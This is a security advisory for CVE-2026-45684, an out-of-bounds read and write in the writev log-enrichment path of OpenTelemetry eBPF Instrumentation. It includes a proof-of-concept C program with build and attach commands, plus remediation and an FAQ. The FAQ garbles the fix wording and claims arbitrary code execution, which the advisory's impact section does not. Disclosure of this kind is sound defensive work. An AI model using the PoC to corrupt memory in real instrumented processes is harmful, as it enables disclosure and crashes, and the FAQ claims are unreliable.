CVE-2026-45684: OpenTelemetry eBPF Instrumentation: Log enricher writev path can overread and overwrite user buffers
Summary
OBI's log enricher mishandles writev buffers by reading only the first iovec entry but using the total ioviter.count as the copy length. When log injection is enabled, a crafted multi-segment writev call can make OBI read and overwrite memory beyond the first segment.
Details
In bpf/logenricher/logenricher.c#L50, filliov resolves only one struct iovec, specifically iovctx.iov[0] for ITERIOVEC. The returned iov therefore describes only the first write segment.
However, write later uses const sizet count = BPFCOREREAD(from, count);, which is the total byte count across all segments in the iterator. That total is stored in e->len and used in bpfprobereaduser(e->log, e->len, iov.iovbase) and bpfprobewriteuser(iov.iovbase, zero, towrite).
If count exceeds iov.iovlen, OBI reads and then zeroes memory past the end of the first segment. In practice, this can corrupt adjacent application buffers, leak memory into log events, and in some layouts destabilize the instrumented process.
PoC
Local testing with a minimal ASan harness reproduced the same out-of-bounds read/write condition as the vulnerable writev path.
Use a vulnerable build with the log enricher enabled.
bash git checkout v0.7.0 make build
Create a program that performs a two-element writev, where the first buffer is short and the second is large:
c // save as /tmp/writev-poc.c #define GNUSOURCE #include <sys/uio.h> #include <unistd.h> #include <string.h>
int main(void) { char a[8] = "HELLO\n"; char b[256]; memset(b, 'B', sizeof(b));
struct iovec iov[2]; iov[0].iovbase = a; iov[0].iovlen = sizeof(a); iov[1].iovbase = b; iov[1].iovlen = sizeof(b);
for (;;) { writev(1, iov, 2); usleep(10000); } }
Compile and run it:
bash cc -O2 -o /tmp/writev-poc /tmp/writev-poc.c /tmp/writev-poc >/dev/null
Attach OBI with log enrichment enabled to the running process:
bash PID=$(pgrep -f /tmp/writev-poc) sudo ./bin/obi --pid "$PID"
On a vulnerable build, OBI copies ioviter.count bytes starting from iov[0].iovbase, even though iov[0] is only 8 bytes long. Depending on allocator layout, you will see one of the following:
1. log events that include bytes beyond HELLO\n 2. corrupted stdout content because OBI zeroed memory beyond the first iovec 3. process instability or a crash
The issue is easiest to observe under a debugger or with ASan-enabled builds of the target program, but those are not required.
Impact
This is a memory safety flaw in the log-enrichment eBPF path. It affects deployments that enable log injection and instrument applications that write logs through writev. An attacker who can trigger the vulnerable local writev pattern inside the instrumented process can cause memory corruption or disclosure in that process. The most direct effects are corrupted output and adjacent-memory disclosure, with process instability possible if the overwrite lands on sensitive state.
Other sources
OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. From version 0.7.0 to before version 0.9.0, OBI's log enricher mishandles writev buffers by reading only the first iovec entry but using the total ioviter.count as the copy length. When log injection is enabled, a crafted multi-segment writev call can make OBI read and overwrite memory beyond the first segment. This issue has been patched in version 0.9.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/go.opentelemetry.io/obito a version that resolves this vulnerability.Fixed in 0.9.0 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 0.9.0 - Configuration
Disable log injection/log enrichment in OpenTelemetry eBPF Instrumentation to prevent the vulnerable `writev` log-enrichment path from overreading/zeroing beyond the first iovec segment on builds from version 0.7.0 to before version 0.9.0.
OpenTelemetry eBPF Instrumentation (OBI) log enricher log injection / log enrichment enabled = disabled
Event History
Frequently Asked Questions
What is the severity of CVE-2026-45684?
CVE-2026-45684 is considered a high severity vulnerability due to the potential for memory overwrites.
How do I fix CVE-2026-45684?
To mitigate CVE-2026-45684, upgrade the OBI package from versions 0.7.0 to below 0.9.0.
What is the impact of exploiting CVE-2026-45684?
Exploitation of CVE-2026-45684 can lead to memory corruption, which may allow an attacker to execute arbitrary code.
What software is affected by CVE-2026-45684?
CVE-2026-45684 affects the OBI package within the OpenTelemetry framework, specifically versions between 0.7.0 and 0.9.0.
Is log injection a factor in CVE-2026-45684?
Yes, log injection is a significant factor as it enables the crafted `writev` calls that trigger the vulnerability.